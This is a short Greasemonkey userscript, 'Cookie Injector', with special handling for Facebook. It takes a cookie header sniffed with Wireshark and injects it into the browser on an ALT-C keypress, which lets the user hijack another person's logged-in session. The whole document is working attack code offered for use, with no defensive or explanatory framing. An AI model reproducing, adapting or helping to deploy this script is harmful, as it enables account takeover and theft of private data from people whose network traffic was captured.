Wireshark cookies injector, specialized for facebook

// ==UserScript==
// @name           Cookie Injector
// @namespace      BearsWithWings
// @description    Inject Cookie String From Wireshark Dump Into Any Webpage
// @version 2.0
// @include        *
// @exclude    https?://gmail.com/*
// @exclude    https?://mail.google.com/*
// ==/UserScript==

//Anonomyous function wrapper
(function (){
    //Ensure that there is only one instance of the cookieInjector Object
    if(typeof this["cookieInjector"] == "undefined"){
        cookieInjector = {};
    }

    //Make a local refrence to the cookie Injector object to save on typing
    var cI = cookieInjector;
    //Make the cookieInjector object globally viewable
    unsafeWindow['cookieInjector'] = cI;

    /**
    * Gets the wireshark dump string and converts it into cookies
    */
    cI.writeCookie = function(){
        var name = prompt("Cookie", "Enter the cookie here:");
        var cookieText = cI.cleanCookie(name);

        //We have to add the cookies one at a time, so split around the colin
        var cookieArray = cookieText.split(";");
        for(var x=0; x<cookieArray.length; x++){
            //We want the path to be the root, the host is filled in automatically
            //since we are on the same webpage that we captured the cookies on
            if (window.location.hostname=='www.facebook.com') {
                document.cookie = cookieArray[x]+"; domain=.facebook.com";
            } else {
                document.cookie = cookieArray[x]+"; path=/";
            }
        }
    }

    /**
    * Do a little big of cleanup on the cookie string, Mostly we are looking
    * To get rid of the "Cookie: " string that Wireshark prepends to the cookie string
    */
    cI.cleanCookie = function(cookieText){
        var cookie = cookieText.replace("Cookie: ","");
        return cookie;
    }

    /**
    * Handle all keypresses, we are looking for an ALT-C key-combo. Since we can't detect
    * Two keys being pressed at the same time, we first make sure the ALT key was pressed
    * then we wait to see if the C key is pressed next
    */
    cI.keyPress = function (e){
        //Check to see if "C" is pressed after ALT
        if(e.keyCode == 67 && cI.ctrlFire){
            cI.writeCookie();
        }

        //Make sure the Alt key was previously depressed
        if(e.keyCode == 18){
            cI.ctrlFire = true;
        }else{
            cI.ctrlFire = false;
        }
    }
    window.addEventListener('keydown', cI.keyPress,'false');
})();